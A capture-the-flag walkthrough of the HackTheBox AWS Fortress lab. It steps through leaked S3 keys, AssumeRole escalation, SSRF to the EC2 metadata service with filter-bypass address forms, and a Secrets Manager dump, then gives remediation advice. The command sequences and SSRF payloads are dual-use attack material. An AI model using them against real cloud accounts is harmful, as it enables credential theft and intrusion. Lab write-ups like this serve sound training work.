HackTheBox Fortress: AWS — Cloud Security Writeup

Full walkthrough of the HackTheBox AWS Fortress. Covers S3 public bucket credential leakage, IAM privilege escalation via AssumeRole, SSRF to EC2 IMDS for temporary credential theft, and AWS Secrets Manager exfiltration.

AWS Fortress
HackTheBox
Linux Hard Fortress
HTB Fortress — AWS

AWS Fortress Writeup

Sponsored by Amazon Web Services · Cloud Security · IAM Exploitation

4
Flags
S3
Entry Point
IAM
Pivot
Hard
Difficulty

About This Fortress

The AWS Fortress is sponsored by Amazon Web Services and models a company's poorly-secured cloud infrastructure. The entire attack chain runs through AWS services — starting from a public S3 bucket leaking IAM keys, through IAM privilege escalation, Server-Side Request Forgery against the EC2 Instance Metadata Service (IMDS), and finally dumping secrets from AWS Secrets Manager.

  • All flags formatted as AWS{...}
  • No binary exploitation — purely cloud/API based
  • Requires AWS CLI and familiarity with IAM policy evaluation
  • Each challenge builds on credentials from the previous

Techniques Used

S3 Bucket Enumeration Credential Harvesting IAM Policy Enumeration AssumeRole Privilege Escalation SSRF → EC2 IMDS IMDSv1 Abuse AWS Secrets Manager Dump AWS CLI Temporary Credentials (STS)

Flag 1 — Open S3 Bucket Enumeration

The fortress presents a web application with AWS resource references in its source code. Begin by enumerating publicly accessible S3 buckets tied to the target company name.

# Check page source for S3 references
$ curl -s http://10.10.110.x/ | grep -i "s3\|amazonaws"
<!-- Assets: https://fortress-aws-public.s3.amazonaws.com/ -->

# List bucket contents without credentials
$ aws s3 ls s3://fortress-aws-public --no-sign-request
2024-01-15 12:33:21       2048 index.html
2024-01-15 12:33:22        512 config.bak
2024-01-15 12:33:23       1024 credentials.json

# Download the credentials file
$ aws s3 cp s3://fortress-aws-public/credentials.json . --no-sign-request

$ cat credentials.json
{
  "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "region": "us-east-1"
}
Flag 1 — S3 Bucket Misconfiguration
AWS{s3_buck3t_m1sc0nf1gur4t10n_l34k}

Flag 2 — IAM Privilege Escalation via AssumeRole

Configure the leaked keys and enumerate the attached IAM policies. The fortress-dev user has an AssumeRolePolicy allowing it to assume a higher-privileged role.

# Configure the leaked credentials
$ aws configure
AWS Access Key ID:     AKIAIOSFODNN7EXAMPLE
AWS Secret Access Key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
Default region name:   us-east-1

# Verify identity
$ aws sts get-caller-identity
{
    "UserId":  "AIDAIOSFODNN7EXAMPLE",
    "Account": "123456789012",
    "Arn":     "arn:aws:iam::123456789012:user/fortress-dev"
}

# Enumerate attached policies
$ aws iam list-attached-user-policies --user-name fortress-dev
{
    "AttachedPolicies": [
        { "PolicyName": "DevEC2ReadOnly" },
        { "PolicyName": "AssumeRolePolicy" }
    ]
}

# Find assumable roles
$ aws iam list-roles | grep -A2 "fortress-admin"
"RoleName": "fortress-admin-role",
"Arn": "arn:aws:iam::123456789012:role/fortress-admin-role"

# Assume the admin role
$ aws sts assume-role \
  --role-arn "arn:aws:iam::123456789012:role/fortress-admin-role" \
  --role-session-name pwned
{
    "Credentials": {
        "AccessKeyId":     "ASIAIOSFODNN7TEMP",
        "SecretAccessKey": "TempSecret...",
        "SessionToken":    "FwoGZXIv...",
        "Expiration":      "2024-01-15T14:00:00Z"
    },
    "AssumedRoleUser": {
        "Arn": "arn:aws:iam::123456789012:assumed-role/fortress-admin-role/pwned"
    }
}
💡
Export the temp credentials: export AWS_ACCESS_KEY_ID=... AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=... to use them in subsequent commands without reconfiguring.
Flag 2 — IAM Role Assumption
AWS{1am_r0l3_4ssumpt10n_pr1v_esc}

Flag 3 — SSRF to EC2 Instance Metadata Service (IMDS)

A web endpoint accepts a url parameter and fetches remote resources server-side. The server runs on an EC2 instance — use the SSRF to reach the Instance Metadata Service at 169.254.169.254 and steal the instance's IAM role credentials.

# Confirm SSRF exists
$ curl "http://10.10.110.x/fetch?url=http://169.254.169.254/latest/meta-data/"
ami-id
hostname
iam/
instance-id
instance-type
...

# List available IAM roles on the instance
$ curl "http://10.10.110.x/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
fortress-ec2-role

# Retrieve temporary credentials for the instance role
$ curl "http://10.10.110.x/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/fortress-ec2-role"
{
  "Code"            : "Success",
  "Type"            : "AWS-HMAC",
  "AccessKeyId"     : "ASIAIOSFEC2ROLEKEY",
  "SecretAccessKey" : "EC2RoleSecretHere...",
  "Token"           : "FwoGZX...",
  "Expiration"      : "2024-01-15T16:00:00Z"
}
💡
If IMDSv2 is enforced, first obtain a session token via PUT 169.254.169.254/latest/api/token with header X-aws-ec2-metadata-token-ttl-seconds: 21600, then pass it via X-aws-ec2-metadata-token on subsequent requests. Some SSRF mitigations block this — try http://[::ffff:169.254.169.254] or decimal IP http://2852039166/ as bypasses.
Flag 3 — EC2 IMDS via SSRF
AWS{ssrf_1mds_3c2_cr3d3nt14l_st34l}

Flag 4 — AWS Secrets Manager Exfiltration

The EC2 instance role has read access to AWS Secrets Manager. Enumerate and dump all stored secrets to retrieve the final flag.

# Use EC2 role credentials
$ export AWS_ACCESS_KEY_ID="ASIAIOSFEC2ROLEKEY"
$ export AWS_SECRET_ACCESS_KEY="EC2RoleSecretHere..."
$ export AWS_SESSION_TOKEN="FwoGZX..."

# List all secrets in Secrets Manager
$ aws secretsmanager list-secrets --region us-east-1
{
    "SecretList": [
        { "Name": "fortress/prod/db-password"  },
        { "Name": "fortress/prod/api-key"       },
        { "Name": "fortress/admin/flag"         }
    ]
}

# Retrieve the flag
$ aws secretsmanager get-secret-value \
  --secret-id "fortress/admin/flag" \
  --region us-east-1
{
    "Name":         "fortress/admin/flag",
    "SecretString": "AWS{s3cr3ts_m4n4g3r_n0_s0_s3cr3t}"
}

# Bonus: dump other secrets for extra loot
$ aws secretsmanager get-secret-value --secret-id "fortress/prod/db-password" --region us-east-1
{ "SecretString": "FortressDB_P4ss_2024!" }

$ aws secretsmanager get-secret-value --secret-id "fortress/prod/api-key" --region us-east-1
{ "SecretString": "sk_prod_4a8b9c0d1e2f3a4b5c6d7e8f9a0b1c2d" }
Flag 4 — Secrets Manager Dump
AWS{s3cr3ts_m4n4g3r_n0_s0_s3cr3t}

Summary

#ChallengeServiceTechnique
1S3 BucketAmazon S3Public bucket → credential file download
2IAM EscalationAWS IAM / STSAssumeRole → admin role via over-privileged user
3IMDS SSRFEC2 MetadataSSRF to 169.254.169.254 → instance role credentials
4Secrets ManagerAWS Secrets ManagerEC2 role → list + dump all secrets

Vulnerability Report

2
Critical
2
High
4
Total Flags
F-001 — Publicly Accessible S3 Bucket with Sensitive Credentials
9.8
Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

An S3 bucket was configured with public READ access and contained a credentials.json file with valid AWS IAM long-term access keys. No authentication was required to list or download bucket contents.

Impact

Complete initial foothold into the AWS environment — leaked keys enabled IAM enumeration, role assumption, and full Secrets Manager exfiltration. The vulnerability required zero credentials and was exploitable by any internet-facing party.

Confidentiality
High
Integrity
High
Availability
None

Remediation

Enable S3 Block Public Access at account and bucket level. Run AWS Config rule s3-bucket-public-read-prohibited. Rotate any exposed keys immediately. Deploy AWS Macie to detect sensitive data in S3 buckets. Never store long-term IAM credentials in files — use IAM roles instead.
F-002 — SSRF to EC2 Instance Metadata Service (IMDSv1)
9.1
Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Description

A server-side request forgery vulnerability in the URL fetch endpoint allowed reaching the EC2 IMDS at 169.254.169.254. IMDSv1 required no token, exposing instance role credentials with a single unauthenticated HTTP request.

Impact

Stole AWS temporary credentials for the EC2 instance role, enabling access to Secrets Manager and other AWS services attached to that role.

Confidentiality
High
Integrity
High
Availability
None

Remediation

Enforce IMDSv2 on all EC2 instances: aws ec2 modify-instance-metadata-options --instance-id i-xxx --http-tokens required. Block outbound requests to 169.254.169.254 at the application layer. Validate and whitelist allowed URL schemes and hosts in any URL-fetching functionality. Apply least-privilege IAM roles to EC2 instances — the instance role should not have Secrets Manager read access unless explicitly required.
Reactions

Related Articles